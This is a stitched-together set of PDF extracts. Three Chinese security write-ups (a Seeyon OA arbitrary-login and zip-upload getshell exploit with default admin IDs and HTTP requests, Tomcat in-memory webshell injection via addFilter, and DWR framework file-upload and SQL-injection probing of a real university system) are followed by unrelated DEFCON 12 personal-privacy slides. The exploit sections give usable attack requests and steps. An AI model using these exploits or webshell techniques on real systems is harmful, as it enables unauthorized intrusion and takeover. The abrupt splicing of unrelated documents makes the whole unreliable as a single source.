返回超时。这⾥的 getContentLinkValidity 我没追到,应该是在消息邮件设置中配置。但返回的是个int类型。这⾥的 startTimeStr 的随便传⼊⼀个较⼤
的数字就⾏了。
接着往下⾛。。。
下⽅分别对linkType,_memberId的值进⾏了判空操作以及对link的赋值。
link=(String)UserMessageUtil.getMessageLinkType().get(linkType)
linkType的值有很多。⽹上的POC⼤多是 message.link.doc.folder.open 。这个有很多,具体参考安装⽬录下的 seeyon/WEB-INF/cfgHome/base/message-
link.properties ⽂件,随便选⼀个就可以了。这⾥不重要,主要是为了让 link 变量的值不为空。和后⾯的具体操作没啥关系。
若为空,都会返回 mail.read.alert.wuxiao
下⾯就是关键的⼏个步骤了,也是漏洞点出现的地⽅。
如果当前会话中的 com.seeyon.current_user 为空。那么进⼊ esle
V3xOrgMember member = this.orgManager.getMemberById(Long.valueOf(memberId));
在else中,通过 getMemberById ⽅法查询 memberId 所对应的⽤户。如果 member 不为空。则创建 currentUser 对象
session.setAttribute("com.seeyon.current_user", currentUser);
在会话中设置⽤户信息。导致任意账户登陆。
这⾥的 memberId 是取的 encMap 中的 M 键值
String _memberId = encMap.get("M");
为可控参数。
该值安装时存在4个默认id。对应不同权限
"5725175934914479521" "集团管理员"
"-7273032013234748168" "系统管理员"
"-7273032013234748798" "系统监控"
"-4401606663639775639" "审计管理员"
POC:
获取Cookie
测试Cookie是否可⽤:
GET /seeyon/main.do?method=headerjs&login=-1448586625 HTTP/1.1
Host: 192.168.137.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114
Safari/537.36
Accept: */*
Referer: http://192.168.137.1/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=<Payload>; loginPageURL=; login_locale=en
Connection: close
⼆.Getshell
⽂件上传就直接跳过了(没啥好看的)
这⾥主要分析 ajax.do
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04
09%22%2C%225818374431215601542%22%5D
method = ajaxAction , managerName = portalDesignerManager , managerMethod = uploadPageLayoutAttachment
参数:
arguments=[0,"2021-04-09","5818374431215601542"]
这⾥需要注意:
ajax.do 下的 ajaxAction 是通过 invokeService ⽅法是调⽤⼀些服务
POC中 managerName 为 portalDesignerManager .当前环境A8+/V7.0SP1中,没有找到这个类。于是去低版本中扒了⼀个。(低版本才存在这个漏洞。具体影
响版本未知)。
jar包为: seeyon-ctp-portal.jar
managerMethod = uploadPageLayoutAttachment
传递的参数为:
arguments=[0,"2021-04-09","5818374431215601542"]
attchmentIdStr=0
createDate=2021-04-09
fileUrl=5818374431215601542
rootPath 为上传时产⽣的⽂件夹。(⽇期命名 年-⽉-⽇)
String rootPath = this.fileManager.getFolder(Datetimes.parse(createDate, "yyyy-MM-dd"), false);
fileUrl 为上传时返回的 fileid
后⾯直接使⽤ZipUtil进⾏解压
String filePath = rootPath + File.separator + fileUrl;
File zipFile = new File(filePath);
String pageLayoutId = String.valueOf(UUIDLong.longUUID());
String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
File unzipDirectory = new File(uploadPageLayoutPath);
ZipUtil.unzip(zipFile, unzipDirectory);
解压后的路径是 common/designer/pageLayout +⼀层uuid。这⾥可以尝试跨⽬录。
参考⽂章: https://www.o2oxy.cn/3394.html
由于本地环境太新了。。。没这个漏洞,所以,我把所需要的jar包导出来本地写了个demo
import com.seeyon.ctp.common.SystemEnvironment;
import com.seeyon.ctp.util.UUIDLong;
import com.seeyon.ctp.util.ZipUtil;
import java.io.File;
import java.io.IOException;
public class main {
public static void main(String[] args) throws IOException {
String pageLayoutRootPath = SystemEnvironment.getApplicationFolder();
String fileUrl="1.zip";
String rootPath = "/Users/yuanhai/Desktop/Seeyon/2021-4-11";
String filePath = rootPath + File.separator + fileUrl;
File zipFile = new File(filePath);
String pageLayoutId = String.valueOf(UUIDLong.longUUID());
String relativePath = File.separator + "common/designer/pageLayout" + File.separator + pageLayoutId + File.separator;
String uploadPageLayoutPath = pageLayoutRootPath + relativePath;
File unzipDirectory = new File(uploadPageLayoutPath);
ZipUtil.unzip(zipFile, unzipDirectory);
}
}
⽂件正常解压,可getshell。
分析到此结束。 | pdf |
1
关于Tomcat中的三个Context的理解
Context
ServletContext
ApplicationContext
StandardContext
@yzddmr6
p⽜在知识星球⾥问了⼀个问题:Tomcat中这三个StandardContext、ApplicationContext、
ServletContext都是⼲什么的
skay师傅给出了⾃⼰的理解:https://mp.weixin.qq.com/s/BrbkTiCuX4lNEir3y24lew
这⾥来讲⼀讲我的理解,说的不⼀定对,仅供参考。
context是上下⽂的意思,在java中经常能看到这个东⻄。那么到底是什么意思呢?
根据我的理解,如果把某次请求⽐作电影中的事件,那么context就相当于事件发⽣的背景。例如⼀部电影
中的某个镜头中,张三⼤喊“奥利给”,但是只看这⼀个镜头我们不知道到底发⽣了什么,张三是谁,为什
么要喊“奥利给”。所以就需要交代当时事情发⽣的背景。张三是吃饭前喊的奥利给?还是吃饭后喊的奥利
给?因为对于同⼀件事情:张三喊奥利给这件事,发⽣的背景不同意义可能是不同的。吃饭前喊奥利给可
能是饿了的意思,吃饭后喊奥利给可能是说吃饱了的意思。在WEB请求中也如此,在⼀次request请求发
⽣时,背景,也就是context会记录当时的情形:当前WEB容器中有⼏个filter,有什么servlet,有什么
listener,请求的参数,请求的路径,有没有什么全局的参数等等。
Context
2
ServletContext是Servlet规范中规定的ServletContext接⼝,⼀般servlet都要实现这个接⼝。⼤概就是
规定了如果要实现⼀个WEB容器,他的Context⾥⾯要有这些东⻄:获取路径,获取参数,获取当前的
filter,获取当前的servlet等
ServletContext
1 package javax.servlet;
2
3 ...
4
5 public interface ServletContext {
6 String TEMPDIR = "javax.servlet.context.tempdir";
7 String ORDERED_LIBS = "javax.servlet.context.orderedLibs";
8
9 String getContextPath();
10
11 ServletContext getContext(String var1);
12
13 ...
14
15 /** @deprecated */
16 @Deprecated
17 Servlet getServlet(String var1) throws ServletException;
18
19 /** @deprecated */
20 @Deprecated
21 Enumeration<Servlet> getServlets();
22
23 /** @deprecated */
24 @Deprecated
25 Enumeration<String> getServletNames();
26
27 void log(String var1);
28
29 /** @deprecated */
30 @Deprecated
31 void log(Exception var1, String var2);
32
3
33 void log(String var1, Throwable var2);
34
35 String getRealPath(String var1);
36
37 String getServerInfo();
38
39 String getInitParameter(String var1);
40
41 Enumeration<String> getInitParameterNames();
42
43 boolean setInitParameter(String var1, String var2);
44
45 Object getAttribute(String var1);
46
47 Enumeration<String> getAttributeNames();
48
49 void setAttribute(String var1, Object var2);
50
51 void removeAttribute(String var1);
52
53 String getServletContextName();
54
55 Dynamic addServlet(String var1, String var2);
56
57 Dynamic addServlet(String var1, Servlet var2);
58
59 Dynamic addServlet(String var1, Class<? extends Servlet> var
2);
60
61 Dynamic addJspFile(String var1, String var2);
62
63 <T extends Servlet> T createServlet(Class<T> var1) throws Se
rvletException;
64
65 ServletRegistration getServletRegistration(String var1);
66
67 Map<String, ? extends ServletRegistration> getServletRegistr
ations();
68
69 javax.servlet.FilterRegistration.Dynamic addFilter(String va
4
r1, String var2);
70
71 javax.servlet.FilterRegistration.Dynamic addFilter(String va
r1, Filter var2);
72
73 javax.servlet.FilterRegistration.Dynamic addFilter(String va
r1, Class<? extends Filter> var2);
74
75 <T extends Filter> T createFilter(Class<T> var1) throws Serv
letException;
76
77 FilterRegistration getFilterRegistration(String var1);
78
79 Map<String, ? extends FilterRegistration> getFilterRegistrat
ions();
80
81 SessionCookieConfig getSessionCookieConfig();
82
83 void setSessionTrackingModes(Set<SessionTrackingMode> var1);
84
85 Set<SessionTrackingMode> getDefaultSessionTrackingModes();
86
87 Set<SessionTrackingMode> getEffectiveSessionTrackingModes();
88
89 void addListener(String var1);
90
91 <T extends EventListener> void addListener(T var1);
92
93 void addListener(Class<? extends EventListener> var1);
94
95 <T extends EventListener> T createListener(Class<T> var1) th
rows ServletException;
96
97 JspConfigDescriptor getJspConfigDescriptor();
98
99 ClassLoader getClassLoader();
100
101 void declareRoles(String... var1);
102
103 String getVirtualServerName();
5
在Tomcat中,ServletContext规范的实现是ApplicationContext,因为⻔⾯模式的原因,实际套了⼀层
ApplicationContextFacade。关于什么是⻔⾯模式具体可以看这篇⽂章,简单来讲就是加⼀层包装。
其中ApplicationContext实现了ServletContext规范定义的⼀些⽅法,例如addServlet,addFilter等
StandardContext存在于org.apache.catalina.core.StandardContext。
实际上研究ApplicationContext的代码会发现,ApplicationContext所实现的⽅法其实都是调⽤的
this.context中的⽅法
104
105 int getSessionTimeout();
106
107 void setSessionTimeout(int var1);
108
109 String getRequestCharacterEncoding();
110
111 void setRequestCharacterEncoding(String var1);
112
113 String getResponseCharacterEncoding();
114
115 void setResponseCharacterEncoding(String var1);
116 }
ApplicationContext
StandardContext
6
⽽这个this.context就是⼀个实例化的StandardContext对象。
所以在我看来,StandardContext是Tomcat中真正起作⽤的Context,负责跟Tomcat的底层交互,
ApplicationContext其实更像对StandardContext的⼀种封装。
⽤下⾯这张图来展示⼀下其中的关系
7
回过头看内存⻢。以添加filter为例,从上⾯的分析我们可以知道ApplicationContext跟Standerdcontext
这两个东⻄都有addFilter的⽅法。那么实际选⽤哪⼀个呢?其实两种办法都可以。三梦师傅在基于tomcat
的内存 Webshell ⽆⽂件攻击技术这篇⽂章⾥是利⽤反射修改了Tomcat的LifecycleState,绕过限制条件
调⽤的ApplicationContext中的addFilter⽅法。
8
但是因为实际上最终调⽤的还是StandardContext的addFilter⽅法,所以我们就可以直接调⽤
StandardContext的addFilter⽅法进⾏绕过,从⽽省去了绕过⼀堆判断的过程。这种实现具体可以看这个
师傅的公众号⽂章。 | pdf |
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
1/10
前言
未经授权,禁止转载!
0x01
前段时间,在对某站群系统进行代码审计时,发现某处DWR-AJAX接口存在文件上传漏洞
代码层:
可以清楚的看到这里是一处文件上传漏洞,在进行存储的过程中,未进行任何文件类型效验操作。
由于是dwr框架,可以通过dwr.xml 查看映射关系
public String upload(InputStream is, String fileName) {
String fileUploadPath = getFileUploadPath();
String file = String.valueOf(fileUploadPath) + "/" + IDCreator.getRandom() + "/" + fileNa
String fileExtName = FilenameUtils.getExtension(fileName);
File f = new File(file);
Properties pro = new Properties();
try {
long size = is.available();
FileUtils.copyInputStreamToFile(is, f);
pro.put("extName", fileExtName);
pro.put("originName", fileName);
pro.put("url", file);
pro.put("size", Long.valueOf(size));
} catch (IOException e) {
e.printStackTrace();
log.error("+ e);
return WebTools.getCallBackJSON(0, ");
}
return WebTools.getCallBackJSON(1, JSON.toJSONString(pro));
}
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
2/10
注:
在没有源码的情况下,可以通过访问dwr框架的接口页面
默认路径:
http://localhost/dwr/index.html
有点类似于.NET平台下的ASMX接口文件,且里面提供了测试方法。
0x02
DWR框架所创建的ajax请求与常见的POST请求有所不同
DWR框架请求格式:
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
3/10
page 为来访页面
scriptSessionId 一般为自动生成或对应Cookie中的DWRSESSIONID
c0-scriptName 调用脚本名 对应 dwr.xml 中的 javascript
如: scriptName = javascript = ExtAjax
其中param为调用自定义的类
methodName 为类中的方法名
c0-param0为参数,如方法接收3个参数,那么就是0到2
如:c0-param0 ,c0-param1,c0-param2 按顺序传递
0x03
由于目标系统是文件上传,需要输入流InputStream,那么格式应该还会有所不同,所以这里我按
照网上的相关方法,在本地搭建了一个环境
参考文章:https://my.oschina.net/u/1474779/blog/610668
所需jar包: (要实现文件上传必须引入commons-fileupload包)
commons-logging-1.1.1.jar
dwr.jar
commons-fileupload-1.3.1.jar
commons-io-2.4.jar
Upload.Java
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
4/10
package com.ajax;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.FilenameUtils;
import org.directwebremoting.WebContext;
import org.directwebremoting.WebContextFactory;
public class Upload {
public String upload(InputStream is, String fileName) throws IOException{
//dwr通过WebContext取得HttpServletRequest
WebContext wc = WebContextFactory.get();
HttpServletRequest req = wc.getHttpServletRequest();
String realpath = req.getSession().getServletContext().getRealPath("upload");
String fn = FilenameUtils.getName(fileName);
String filepath = realpath + "/" + fn;
FileUtils.copyInputStreamToFile(is, new File(filepath));//将输入流直接copy成文件
return filepath;
}
}
在web.xml中配置dwr
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/j
version="4.0">
<servlet>
<servlet-name>dwr-invoker</servlet-name>
<servlet-class>
org.directwebremoting.servlet.DwrServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>true</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>dwr-invoker</servlet-name>
<url-pattern>/dwr/*</url-pattern>
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
5/10
在dwr.xml 配置映射关系 com.ajax.Upload 为功能处理类所在的位置
<dwr>
<allow>
<create creator="new" javascript="Upload">
<param name="class" value="com.ajax.Upload" />
</create>
</allow>
</dwr>
创建jsp页面
这里需要注意:
dwr/interface/Upload.js
</servlet-mapping>
</web-app>
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>dwr上传文件</title>
</head>
<script type='text/javascript' src='dwr/engine.js'></script>
<script type='text/javascript' src='dwr/util.js'></script>
<script type="text/javascript" src="dwr/interface/Upload.js"></script>
<script type="text/javascript">
function upload(){
var file = dwr.util.getValue("myfile");
Upload.upload(file,file.value,function(data){
alert(data);
});
}
</script>
<body>
<input type="file" id="myfile"/>
<input type="button" value="上传" onclick="upload();"/>
</body>
</html>
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
6/10
是dwr.xml中的映射关系,只要配置了映射关系,就会自动生成。无需创建
如果启动过程中,Tomcat出现报错,请讲当前目录PUT到ROOT目录
0x04
成功访问:
这里使用写好的JSP文件尝试上传文件。
用Burp开启抓包功能。
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
7/10
看起来没什么区别,就是转成了multipart/form-data。
那么要对目标系统上进行上传,只需更改scriptName和methodName即可
成功Getshell
0x05 黑盒下的探测手段
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
8/10
在对某高校系统进行测试时,通过主页的HTMl源代码中发现了其系统使用DWR框架
尝试访问/dwr/index.html 获取接口目录
返回500,要么是dwr.xml配置错误,或者是做了防护手段,如果说配置错误的话,接口可能都用不
了。这里还是选择了测一下。
由于/dwr/index.html无法访问,那么只能手动收集接口信息。
在各个HTML ,JSP页面上查找路径为
/dwr/interface/*.js
的js文件。此文件只有配置dwr.xml的映射才会生成,所以一般要调用ajax接口,就必须引入此js文
件。
如下:
前面为scriptName,后面为methodName。p0,p1,p2 代表需要3个参数
将其各个接口进行了整合。然后提取methodName。尝试进行SQL注入。
这里需要注意:
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
9/10
如果返回结果提示
java.lang.Throwable
造成这个错误的原因有很多:
1.参数类型不对 2. 缺少必要参数 3. 接口自身问题
个人建议使用string: 数字
如下:
这里我构造请求方法,对每个接口都进行测试。
请求地址为:
http://localhost/dwr/call/plaincall/{{ scriptName }}.{{ methodName }}.dwr
正文:
callCount=1
page={{ 任意JSP地址均可 }}
httpSessionId= {{ 可留空 }}
scriptSessionId={{Cookie中的 DWRSESSION}}
c0-scriptName={{ scriptName }}
c0-methodName={{ methodName }}
c0-id=0
c0-param0=string(类型): 值 {{ 参数 1}}
batchId=0
最终在某个接口下面发现SQL注入:
单数单引号(错误)
2020/10/22
编辑 实战渗透-基于DWR框架下的漏洞探测 - Sooooooooooooooooooo,Skr!~ - Powered by Typecho
https://www.websecuritys.cn/admin/write-post.php?cid=182
10/10
双数双引号(正常)
由于服务器没有WAF,尝试使用SQLMAP.
注意需要 --level 3 不然跑不出来的 | pdf |
Real World Privacy
DEFCON 12
July 30, 2004
Real World Privacy
How to leave fewer breadcrumbs in life
by Roger Cooke
[email protected]
Real World Privacy
DEFCON 12
July 30, 2004
What are you talking about?
The focus here is not a ‘why’ talk, we’re talking
the how.
If you need to know why, leave your full name,
DOB and SSN with me and I’ll get back to you
(perhaps you’ll get back to yourself).
Real World Privacy
DEFCON 12
July 30, 2004
If information doesn’t exist, it can’t be
• Used against you
• Used for you
• Subpoenaed
• Stolen or lost
A key principle in being private
Real World Privacy
DEFCON 12
July 30, 2004
Privacy may not be free and there may be a direct
cost to being anonymous:
- No award points (airlines, hotels, grocery store)
- Higher fees at retail stores (grocery store)
- No subscription discounts
- No credit card benefits (buyer protection)
- No insurance on belongings
Privacy can have monetary costs.
Are you willing to pay?
Real World Privacy
DEFCON 12
July 30, 2004
Your name and who you are?
Where you live?
What you spend your money on?
Your hobbies?
Why you visited the doctor?
Where you travel to?
Where you work?
How much you (don’t) make?
Your personal identifying information?
Before thinking about protecting your privacy,
ask what is it that you are trying to protect?
Real World Privacy
DEFCON 12
July 30, 2004
Nosy boss?
Nosy neighbor/house mate?
Ex-lover?
Former “professional” associate?
Random target of opportunity?
Someone you accidentally pissed off?
The Feds?
Big Business?
Different people want data for different reasons.
Think before you give it up.
Before thinking about protecting your privacy,
ask who is the threat?
Real World Privacy
DEFCON 12
July 30, 2004
“A 360-degree view of the customer is so
tantalizing that most companies are
virtually drooling over the prospect of
being able to sell, service, market, cross-
sell, and update sell from a common view
of a customer’s history.
– Information Week April 5, 2004 page 67
More on the threat
Real World Privacy
DEFCON 12
July 30, 2004
• Do you trust everyone the trusted person trusts?
Will these people handle your information per
your wishes?
• What happens when a person or company
violates that trust? Are there consequences?
• Can you believe companies? Sometimes there is
not a choice in who you’re dealing with.
• Black Unicorn, speaking at the 12th USENIX
Security Symposium, called trust “reliance on
something in the future; hope.”
Who do you trust?
Real World Privacy
DEFCON 12
July 30, 2004
Level of Privacy Achieved
When making an informed decision about privacy,
ask yourself what is the level of privacy desired
and the level that your actions will achieve.
A P.O. Box is great, however you must show two
forms of ID including a driver’s license (passport
can be 2nd form) and provide your real address.
This isn’t going to stop people serious about
finding you, but it keeps the casual observer from
knowing your place of residence.
Real World Privacy
DEFCON 12
July 30, 2004
Oops
If you’re serious about protecting your private
information, one slip means your privacy is lost.
- Directions to your house for a party posted online.
- Relative sends you a package to your home using
your real name.
- E-mail is forwarded to a public mailing list.
- Business doesn’t take cash and you NEED the
item or service they are providing.
- Roommate busted for drug possession.
Real World Privacy
DEFCON 12
July 30, 2004
Three sections
• Daily Life – how living a normal life
intersects with being private
• Stuff Happens – dealing with
unexpected events in life
• Miscellaneous Brain Candy
Real World Privacy
DEFCON 12
July 30, 2004
Anonymity vs. not so much so
Grocery card, fake name
& paid in cash
On the street survey,
free stuff
Instant cash back
Rabbit ears
Cash pay phone call
Local shopping
PO Box (for sender)
Cash at tollbooth (still
have license plate…)
Grocery card, real name
or credit card/check
Survey where you get
your reward in the mail
Mail in rebate
Tivo TV viewing
Cell phone (location)
Online purchases
Real address
Auto pass
Real World Privacy
DEFCON 12
July 30, 2004
Daily life
• Identification
• Money
• Transportation
• A place to live
• Trash
• Retail Shopping
• Communication
• Education
• Surveillance
Real World Privacy
DEFCON 12
July 30, 2004
Identification
“A name is no longer a simple identifier: It
is the key to a vast, cross-referenced
system of public and private databases,
which lay bare the most intimate features
of an individuals life.”
SanLuisObispo.com editorial June 23, 2004 referencing an EFF
amicus brief on the Larry Hiibel v. Sixth Judicial District Court of
Nevada.
Real World Privacy
DEFCON 12
July 30, 2004
Identification
• Use your passport as primary means of
identification, except while driving.
– No address listed, SSN never listed
– Universally accepted (not the post office but…)
– No magnetic strip for data collection, but still
machine readable (local bar won’t have this gear)
• Get rid of your SSN from your wallet
– Cut it out of medical cards if needed
– Get a new driver’s license
Real World Privacy
DEFCON 12
July 30, 2004
Identification
• If you use an alias, make sure its use is not taken as
“intent to defraud”.1
• Are you asked to present a photo ID when filling out a
form? Good candidate for using an alias.
• Can things be done in the name of a Limited Liability
Company?
1 The speaker is not a lawyer and has not reviewed this with a lawyer. Not even over drinks. Don’t even think of
this as legal advise. When in doubt seek professional legal guidance about what is and is not legal.
Real World Privacy
DEFCON 12
July 30, 2004
Money
Spending It
• Basic
– Where possible, deal in cash. Buy locally. Barter services.
– Cashier’s checks & money orders or travelers checks not
from your bank (will cost $)
– Exchanging money – find someplace that doesn’t require ID.
• Advanced options:
– Print your own checks from your Limited Liability Company.
– Proxy agent. Got a trusted friend earning miles on their credit
card?
– Disposable credit cards (more for anti-fraud than privacy
since tied to main credit card). AMEX shut their program
down; Citibank and MBNA have programs.
Real World Privacy
DEFCON 12
July 30, 2004
Money
Spending It
• Avoid
– Credit cards
– Worse are debit cards
– PayPal. Good for fraud, bad for privacy.
– Wire transfers. Too harsh ID requirements on either end.
– Moving large amounts of money at one time
Real World Privacy
DEFCON 12
July 30, 2004
Money
Besides giving credit card companies a complete list of
where you shop and what you purchase also consider:
• Credit card companies give stores your
address information when using credit cards
• Credit card companies report balances to
credit bureau every month (it’s in your credit
card agreement)
• Can be location specific. Terry was at the gas
station at 2nd and Middleware at 2:20 am
Saturday morning. Charge of $98 from
backwoods motel on Wednesday July 15.
Real World Privacy
DEFCON 12
July 30, 2004
Money
Concerns spending cash?
• Cash for plane tickets, will get flagged. Trade-off?
• Deposits (car rental, surfboard, bar tab, hotel rooms)
• Buying online
• Having cash serial #s recorded by company. Threat?
• Large cash transactions raise eyebrows
– Ever purchase a new car with cash?
• Trade offs:
– Don’t appear to be money laundering
– Don’t appear to be a drug dealer
– Returning big ticket items (>$100) paid for in cash can be a
headache
Real World Privacy
DEFCON 12
July 30, 2004
Money
Understanding US Legal Issues
•
IRS Form 4789 Currency Transaction Report (CTR)
– $10,000 and above
•
US Customs Form 4790 Report of International Transportation
of Currency or Monetary Instruments (CMIR)
– $10,000 and above in/out of country
•
Treasury Department Form 90-22.47 and OCC Form 8010-0,
8010-1 Suspicious Activity Report (SAR)
– Wide open requirement
•
Bank Secrecy Act - Monetary Instrument Sales Records
– Cash sales of bank checks, drafts, cashier’s checks, money orders
and traveler’s checks between $3,000 and $10,000
Source: Bank Secrecy Act/Anti-Money Laundering Comptrollers Handbook Revised Web Addition December 2000
Real World Privacy
DEFCON 12
July 30, 2004
Money
To spend money, you have to get it
• Chances are, you’ll get your cash from a bank
– Will your employer pay you cash? Unlikely these days
• Does your workplace require direct deposit or can you
take a check on payday?
– Should your work know about your bank? Should your bank
know about your place of employment?
• Is it OK to trust your financial institution?
– ATM vs. Live transactions
• Fake ATMs, false fronts, fake keypads, skimming devices
– PATRIOT ACT and divulging information
• Customer Identification Program, 5 yrs after closing acct.
– LexisNexis Anti-Money Laundering Solution
Real World Privacy
DEFCON 12
July 30, 2004
Money
Make sure it’s you that people are dealing with
• Put non-obvious passwords on all your financial
accounts, replacing your social security number or
mother’s maiden name.
• Ask your credit card issuer not to send you
convenience checks as you will never know when
they go missing.
• Get your financial institutions to lock your web
accounts if you don’t plan on using them.
• Check your credit report annually, think about paying
for a credit monitoring service (but you’ll likely have to
pay by credit card, what is the trade-off?).
Real World Privacy
DEFCON 12
July 30, 2004
Money
Lastly
• What information is on your check? Go with J. Smith
(or the account is in the name of your Limited Liability
Company right?). What does “J” stand for?
• Minimize the footprint. 1-888-5-OPTOUT for getting
off pre-approved credit card mailings.
• Using cash means being responsible and reporting
your cash income. This is for privacy, not avoiding
Uncle Sam.
• If you have a cash stash, safely document it’s
location someplace in the event of your untimely
demise.
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Auto purchase at dealer
• On credit
– Prepare to give away the store.
• Payment on delivery
– Require real name, physical address and may
also want social security number and date of birth.
• Have one of your Limited Liability Companies make
the car purchase.
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Auto purchase - private party
• A private party will just want your money, sign over
the car.
• If going through bank on pre-approved loan, prepare
to give it all up
• Opportunity to borrow from a friend or family (issues
of lending friends money not addressed here). Will
the seller self finance?
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Auto registration
• With LexisNexus or other data warehouse service,
very easy to map a license plate to a physical address
and owner. Think about that next time your vehicle
comes up for renewal. (Title 18, Part I, Chapter 123,
Section 2721 prohibits this disclosure)
• Next time you cut someone off in traffic, will they come
looking for you? Where will they come looking for you?
• One more thought, park in a garage if possible.
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Auto insurance concerns
• All states and D.C. have requirement
• Good reason not to have a car, besides cost.
• To set the correct rate, an insurer will want to
know all about you and your car including
where the car will be parked at night.
• Submitting false information on the insurance
application can have bad consequences
regarding payout of insurance policy when
needed. Are you prepared never to make a
claim?
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Auto insurance solutions
• Can you self insure by posting a high dollar
bond amount? Understand the financial risk
vs. the privacy reward.
• Is the car listed owned by an LLC, can the
LLC get insurance on the car?
• Can the driver ride someone else's policy
where legal?
• Are cars needed full time, or can they be
rented with insurance for short periods of
time?
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Auto black box: Systems used for good and bad
• OnStar – physically remove/disable if not
purchasing the service.
• Airbag data recorders – remove “black box,”
understand this will disable airbag system.
Buy an older car without airbags.
– Vetronix’s Crash Data Retrieval System
• LoJack
• Usage based auto insurance
• Automobile tracking via other means
Real World Privacy
DEFCON 12
July 30, 2004
Threat
• OnStar used to track bank robbers (cnn.com
09/26/2002)
• By court order, OnStar tracking and listening
capability is available1
• OnStar used in conviction of hit-and-run1
• Stalking by way of automobile tracking1
1“This Car Can Talk. What It Says May Cause Concern” by John
Schwartz, New York Times 12/29/2003
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Tolls and automated toll services
• London Congestion Zone – data kept for 24
hours, or is it? (www.cclondon.com)
• E-Zpass used to track whereabouts (New York
Times Online, 12/29/2003)
• SunPass not used to track speeders (Palm Beach
Post Online, March 7, 2004)
• EXpressToll – Privacy policy posted online.
Information disclosed “as required by law.”
Real World Privacy
DEFCON 12
July 30, 2004
Transportation
Going public
• Taxi
– Over the air broadcast of credit card numbers
– Pay cash, may record pick up and drop off sites
• Bus/Metro/Train
– Don’t link ticket to a name/address
– Some systems “swipe” ticket/pass. Tracking ticket.
– Yearly/monthly/weekly pass
• Ski pass
– Can you pay cash, get picture taken, and put in
another name?
Real World Privacy
DEFCON 12
July 30, 2004
Air travel in the US
– SSSS: take the long line
– Trusted traveler – worth it? UK iris scanning
– Naming convention. Not using your name.
– Credit cards. The only answer? Proxies, travel
agents and paying cash.
– The international angle
• US-VISIT, Brazil & the UK
– Side note: Don’t out air-marshals
http://www.washingtonpost.com/ac2/wp-dyn/A61866-2004Mar15?language=printer
Real World Privacy
DEFCON 12
July 30, 2004
Air travel – what to believe?
“We do not provide that type of information to anyone,”
Northwest Airlines, September 2003 quoted in the New
York Times as described here:
http://www.epic.org/privacy/airtravel/nasa
“Northwest Airlines provided information on millions of
passengers for a secret U.S. government air-security
project soon after the Sept. 11, 2001, terrorist attacks…”
from the Washington Post January 18, 2004
http://www.washingtonpost.com/ac2/wp-dyn/A26422-2004Jan17?language=printer
.
Real World Privacy
DEFCON 12
July 30, 2004
Air travel – what to believe?
“The airlines will not voluntarily turn over this data
[referring to requests for airline customer information]”
says Doug Willis, VP of external affairs for the Air
Transport Association, the trade organization for the
major US Airlines. “Privacy pressure, airlines and hotels face customer
concerns arising from anti-terrorism efforts” by Tony Kontzer, March 22, 2004
http://www.informationweek.com/showArticle.jhtml?articleID=18401079
“A top homeland security official told Congress that five
major domestic airlines turned over sensitive passenger
data to the agency or its contractors in 2002, and
2003…” “More False Information from TSA” by Ryan Singel June 23, 2004
http://www.wired.com/news/politics/0,1283,63958,00.html
Real World Privacy
DEFCON 12
July 30, 2004
